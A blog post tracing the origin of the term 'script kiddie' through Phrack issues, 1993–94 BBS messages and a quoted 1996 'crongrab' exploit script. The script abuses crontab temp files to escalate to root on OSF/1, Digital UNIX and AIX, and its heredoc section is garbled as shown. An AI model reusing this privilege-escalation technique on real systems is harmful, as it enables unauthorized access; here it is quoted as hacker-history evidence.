The Origin of Script Kiddie - Hacker Etymology

TL;DR

The term script kiddie probably originated around 1994, but the first public record is from 1996.

Introduction

In my early videos I used the slogan "don’t be a script kiddie" in the intro.

And quite some time ago I got the following YouTube comment about it:

Is "don’t be a script kiddie" a reference to Mr. Robot? Or is it already a thing in general?

I think it would be interesting to look for the origin of the term script kiddie and at the same time it gives us an excuse to look into the past, to better understand on what our community is built upon and somewhat honour and remember it. I wish I was old enough to have experienced that time myself to tell you first-hand stories, but unfortunately I’m born in the early 90s and so I’m merely an observer and explorer of the publicly available historical records. But there is fascinating stuff out there that I want to share with you.

Phrack

The first resource I wanted to check is Phrack. Phrack is probably the longest running ezine as it was started in 1985 by Taran King and Knight Lightning.

I highly encourage you to just randomly click around through those old issues and read some random articles. You will find stuff about operating systems and various technologies you might have never heard about - because they don’t exist anymore. But you also find traces of the humans behind all this through the Phrack Pro-Philes and other articles. Maybe checkout the famous hacker manifesto from 1986 - The Conscience of a Hacker. It was written by a teenager, calling himself The Mentor, who probably never thought that his rage induced philosophical writing would go on to influence a whole generation of hackers. But it becomes even more fascinating with the privilege of being here in the future, right now, and looking back. I found this talk from 2002 by The Mentor and he is now a grown man reflecting on his experience about this. It’s emotional and human. And in the end this is what the hacker culture is. It’s full of humans with complex emotions, we shouldn't forget that.

Anyway, I’m getting really distracted here. Back to script kiddie research.

The oldest occurrence of script kiddie we can find is from issue 54, released in 1998, article 9 and 11.

[...] when someone posts (say) a root hole in Sun's comsat daemon, our little cracker could grep his list for 'UDP/512' and 'Solaris 2.6' and he immediately has pages and pages of rootable boxes. It should be noted that this is SCRIPT KIDDIE behavior.

And the other is a sarcastic comment about rootshell.com being hacked and them handing over data to law enforcement:

Lets give out scripts that help every clueless script kiddie break into thousands of sites worldwide. then narc off the one that breaks into us.

So this issue is from 1998, which is already the 90s, but I’m sure there have to be earlier occurrences. Wikipedia is often pretty good with information and references, but unfortunately there are only links going back to the 2000s.

Yet Another Bulletin Board System

Then I looked at the textfiles.com archive, which is ran by Jason Scott. This is a huuuge archive of old zines, bulletin boards, mailing lists, and more. And so I started to search through that and indeed I found some interesting traces from around 1993/1994 in a BBS called yabbs - yet another bulletin board system created by Alex Wetmore in 1991 at Carnegie Mellon.

The first interesting find is from October 1993:

Enjoy your K-Rad elite kodez kiddies

Here the term kiddie is not prefixed with script, and I’m not sure if it’s “elite code, kiddies” or elite "code kiddies”. But code and script is almost a synonymous and it seems to be used in a very similar derogatory way as the modern terminology.

Then in June 1994 there is this message:

Codez kiddies just don’t seem to understand that those scripts had to come from somwhere. Hacking has fizzled down to kids running scripts to show off at a 2600 meet.

We have again a reference to “codez kiddies” but now the term script also starts to appear in the same sentence.

And then in July 1994 it got combined to:

Even 99% of the wanker script codez kiddies knows enough to not run scripts on the Department of Defense.

Isn’t this fascinating! I believe that 1994 is the year where the term script kiddie started to appear. But this example is still not 100% the modern term...

The First Script Kiddie

The earliest usage of literally script kiddie I was only able to find in an exploit from 1996.

[r00t.1] [crongrab] [public release]

Crontab has a bug.  You run crontab -e, then you goto a shell, relink the
temp fire that crontab is having you edit, and presto, it is now your
property.  This bug has been confirmed on various versions of OSF/1, Digital
UNIX 3.x, and AIX 3.x

If, while running my script, you somehow manage to mangle up your whole
system, or perhaps do something stupid that will place you in jail, then
neither I, nor sirsyko, nor the other fine folks of r00t are responsible.

Personally, I hope my script eats your cat and causes swarms of locuses to
decend down upon you, but I am not responsible if they do.

--kmem.

[-- Script kiddies cut here -- ]
#!/bin/sh
 
# This bug was discovered by sirsyko Thu Mar 21 00:45:27 EST 1996
# This crappy exploit script was written by kmem.
# and remember if ur not owned by r00t, ur not worth owning
#
# usage: crongrab  
 
echo Crontab exploit for OSF/1, AIX 3.2.5, Digital UNIX, others???
echo if this did not work on OSF/1 read the comments -- it is easy to fix.
 
if [ $# -ne '2' ]; then
 echo "usage: $0  "
 exit
fi
 
HI_MUDGE=$1
YUMMY=$2
export HI_MUDGE
 
UNAME=`uname`
GIRLIES="1.awk aix.sed myedit.sh myedit.c .r00t-tmp1"
 
#SETUP the awk script
cat >1.awk <aix.sed <myedit.sh <.r00t-tmp1
 sed -f aix.sed .r00t-tmp1 > $YUMMY
elif [ $UNAME =  "OSF1" ]; then
 #FOR DIGITAL UNIX 3.X or higher machines uncomment these 2 lines
 crontab -e 2>.r00t-tmp1
 awk -f 1.awk .r00t-tmp1 >$YUMMY
 # FOR PRE DIGITAL UNIX 3.X machines uncomment this line
 #crontab -l 2>&1 > $YUMMY
else
 echo "Sorry, dont know your OS. But you are a bright boy, read the skript and"
 echo "Figger it out."
 exit
fi
 
echo "Checkit out  - $YUMMY"
echo "sirsyko and kmem kickin it out."
echo "r00t"
 
#cleanup our mess
crontab -r
VISUAL=$oldvis
EDITOR=$oldedit
HI_MUDGE=''
YUMMY=''
export HI_MUDGE
export YUMMY
export VISUAL
export EDITOR
rm -f $GIRLIES

[-- Script kiddies cut here -- ]

THERE IT IS!

This bug was discovered by sirsyko on Thursday 21st Mar of 1996, just after midnight. I guess nothing has changed with hacking into the night. And this exploit script was written by kmem.

You know what’s cool? With a bit of digging I actually found party pictures from around 1996/97 from kmem and sirsyko. I’m so grateful that there was some record keeping through pictures from that time, which takes away some of the mysticism that surrounds those early hackers - they look like normal dudes!

But anyway, is this really the first time that somebody used the term script kiddie? Is this where it all started?

Well… When I was asking around, somebody reminded me of Cunningham's Law

the best way to get the right answer on the internet is not to ask a question; it's to post the wrong answer.

so...

I

DECLARE

THIS EXPLOIT

TO BE THE FIRST USAGE

OF THE TERM

SCRIPT KIDDIE!

IT’S. A. FACT!

Epilogue

I’m aware that a lot of the hacking culture happened in private boards, forums and chat rooms. But maybe somebody out there has old (non-)public IRC logs and can grep over it for us. I think it would be really cool to find more traces about the evolution of this term.

Also I would LOVE to hear the story behind any exploit from the 90s. How did you find it, did you share it, how did you learn what you knew, what kind of research did you do yourself, who was influential to you, did anybody steal your bug, were there bug collisions, what was it like to experience a buffer overflow for the first time, etc.

I think there are a lot of fascinating stories hidden behind those zines and exploits from that time and they haven’t been told yet. I don’t want them to be forgotten - please share your story.

Update

I was just sent this talk by Alex Ivanov and @JohnDunlap2 from HOPE 2018. They saw my tweet from 2018 about the exploit in 1996, but they go even further! A lot of info about k-rad, the first 1337 speak, etc.